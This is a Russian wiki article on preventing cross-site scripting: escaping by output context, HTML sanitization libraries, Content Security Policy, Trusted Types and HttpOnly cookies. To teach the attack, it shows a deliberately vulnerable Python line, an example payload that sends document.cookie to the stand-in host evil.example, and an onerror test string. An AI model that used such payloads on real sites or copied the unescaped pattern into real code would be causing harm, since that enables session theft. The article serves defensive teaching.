# XSS (как защищаться)

> Межсайтовый скриптинг — внедрение вредоносного JavaScript в страницу сайта; защита — контекстное экранирование, безопасные API шаблонов, санитизация HTML и Content Security Policy.

Источник: https://llmdocs.ru/wiki/xss/ · обновлено 2026-11-09 · лицензия CC BY-SA 4.0

- **Полное название**: Cross-Site Scripting
- **Классификация**: CWE-79; OWASP Top 10 — A03 Injection
- **Виды**: хранимый, отражённый, DOM-based
- **Последствия**: кража сессии, действия от имени пользователя, фишинг
- **Основная защита**: контекстное экранирование вывода
- **Дополнительная защита**: CSP, HttpOnly cookie, Trusted Types
- **Библиотеки**: DOMPurify, nh3 / bleach (Python)
**XSS** (*Cross-Site Scripting*, межсайтовый скриптинг) — уязвимость веб-приложения, при которой злоумышленник добивается выполнения своего [JavaScript](https://llmdocs.ru/wiki/javascript.md)-кода в браузере других пользователей в контексте уязвимого сайта. Такой скрипт видит всё, что видит пользователь: может прочитать данные страницы, отправить запросы от его имени, подменить форму входа или украсть токен. XSS — одна из самых распространённых веб-уязвимостей; в [OWASP Top 10](https://llmdocs.ru/wiki/owasp-top-10.md) она входит в категорию инъекций.[4]

## Как возникает

Причина — данные из недоверенного источника попадают в HTML-страницу без правильной обработки, и браузер интерпретирует их как код. Классический пример на сервере:

```python
# уязвимо: строка вставляется в HTML как есть
return f"<p>Результаты поиска: {request.args['q']}</p>"
```

Запрос `?q=<script>fetch('https://evil.example/?c='+document.cookie)</script>` превращает страницу в инструмент атаки — достаточно заманить жертву по ссылке.

## Виды

| Вид | Где живёт полезная нагрузка | Пример |
|---|---|---|
| **Отражённый** (reflected) | в запросе, возвращается в ответе | параметр поиска в URL |
| **Хранимый** (stored) | в базе данных сайта | комментарий, имя профиля, сообщение в чате |
| **DOM-based** | обрабатывается JavaScript на клиенте | `location.hash` вставляется через `innerHTML` |

Хранимый XSS опаснее всего: срабатывает у каждого, кто откроет страницу, включая администраторов. DOM XSS не доходит до сервера, и серверные фильтры его не видят.[2]

## Главная защита — экранирование по контексту

Данные должны вставляться в страницу так, чтобы браузер видел в них только текст. Способ экранирования зависит от **контекста**, куда попадают данные:[1]

| Контекст | Что делать |
|---|---|
| Текст внутри HTML-элемента | HTML-экранирование: `<` → `&lt;`, `&` → `&amp;` и т. д. |
| Значение атрибута | экранирование атрибута, значение всегда в кавычках |
| URL в `href`, `src` | проверять схему (только `http:`/`https:`), запрещать `javascript:` |
| Внутри `<script>` или JS-строки | не вставлять данные напрямую; передавать через `data-`-атрибут или JSON с экранированием |
| CSS | не вставлять пользовательские данные |

Современные шаблонизаторы и фреймворки экранируют по умолчанию: Jinja2 с autoescape, шаблоны Django, Go `html/template`, React, Vue, Angular. Уязвимость появляется, когда разработчик явно отключает защиту:

- `{{ value|safe }}` или `Markup()` в Jinja и Django;
- `dangerouslySetInnerHTML` в React, `v-html` во Vue;
- `element.innerHTML = ...`, `document.write`, `eval`, `setTimeout` со строкой в обычном JavaScript.

На клиенте для вставки текста используйте `textContent` вместо `innerHTML` (см. [DOM](https://llmdocs.ru/wiki/dom.md)):

```javascript
el.textContent = userInput;          // безопасно: всегда текст
el.innerHTML = userInput;            // опасно
```

## Когда нужен пользовательский HTML

Если пользователи должны форматировать текст (комментарии, редактор статей), HTML нельзя просто экранировать — его нужно **санитизировать**: оставить разрешённые теги и атрибуты, удалить всё остальное. Регулярные выражения для этого не подходят — используйте проверенные библиотеки: **DOMPurify** в браузере и Node.js, **nh3** (или устаревающий bleach) в Python.[5] Часто проще принимать [Markdown](https://llmdocs.ru/wiki/markdown.md) и превращать его в HTML с последующей санитизацией.

```javascript
import DOMPurify from "dompurify";
el.innerHTML = DOMPurify.sanitize(userHtml);
```

## Дополнительные слои

**Content Security Policy.** HTTP-заголовок, ограничивающий, какие скрипты браузер может выполнять. Строгая политика на основе nonce или хешей блокирует встроенные скрипты злоумышленника, даже если экранирование где-то пропущено:[3]

```http
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
```

CSP — второй рубеж, а не замена экранированию; политика с `'unsafe-inline'` почти не защищает.

**Trusted Types.** Механизм браузера, запрещающий передавать обычные строки в опасные API (`innerHTML`, `eval`) — только объекты, прошедшие через политику санитизации. Хорошо отлавливает DOM XSS в больших приложениях.[6]

**HttpOnly cookie.** Флаг не даёт JavaScript прочитать сессионную cookie (см. [Cookie и сессии](https://llmdocs.ru/wiki/cookies-sessions.md)). XSS всё равно позволяет действовать от имени пользователя, но украсть сессию для использования вне браузера сложнее.

## Проверка

- Ищите в коде отключения автоэкранирования и опасные API (`innerHTML`, `dangerouslySetInnerHTML`, `|safe`, `v-html`).
- Включите правила линтеров и статического анализа (ESLint-плагины безопасности, Semgrep, CodeQL).
- Тестируйте поля ввода строками вроде `"><img src=x onerror=alert(1)>` и сканерами (OWASP ZAP, Burp Suite).
- Помните, что выводом считается не только HTML-страница: письма, PDF, админ-панели и логи, отображаемые в браузере, тоже уязвимы.

## См. также

- [OWASP Top 10](https://llmdocs.ru/wiki/owasp-top-10.md)
- [CSRF](https://llmdocs.ru/wiki/csrf.md)
- [SQL-инъекция (как защищаться)](https://llmdocs.ru/wiki/sql-injection.md)
- [Cookie и сессии](https://llmdocs.ru/wiki/cookies-sessions.md)

## Источники

1. [OWASP — Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
2. [OWASP — DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
3. [MDN — Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
4. [CWE-79: Improper Neutralization of Input During Web Page Generation](https://cwe.mitre.org/data/definitions/79.html)
5. [DOMPurify](https://github.com/cure53/DOMPurify)
6. [MDN — Trusted Types API](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API)
